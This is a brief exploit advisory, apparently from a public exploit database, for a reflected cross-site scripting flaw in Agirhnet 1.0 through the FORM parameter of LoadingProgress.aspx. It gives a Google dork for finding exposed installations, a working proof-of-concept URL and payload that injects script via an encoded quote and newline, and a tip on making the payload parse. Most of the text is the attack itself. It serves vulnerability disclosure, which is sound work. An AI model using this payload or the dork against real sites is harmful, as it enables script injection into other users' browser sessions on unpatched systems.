Agirhnet 1.0 Cross Site Scripting

`# Exploit Title: [Agirhnet] - Reflected XSS via GET  
# Google Dork: inurl:agirhnet  
# Date: 2022-02-21  
# Exploit Author: Daniel Martinez Adan (aDoN90)  
# Vendor Homepage: https://agirh.net/  
# Version: [app version] 1.0  
# CVSS : 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)  
  
URL:  
https://example.com/AgirhNet/LoadingProgress.aspx?FORM=/%22%0Aconfirm(document.domain)//  
  
vulnerable Parameter : FORM  
  
  
Payload: /%22%0Aconfirm(document.domain)//  
  
it is compulsory to put the "/" at the beginning of the payload (it has to  
recognize it as a URL)  
  
`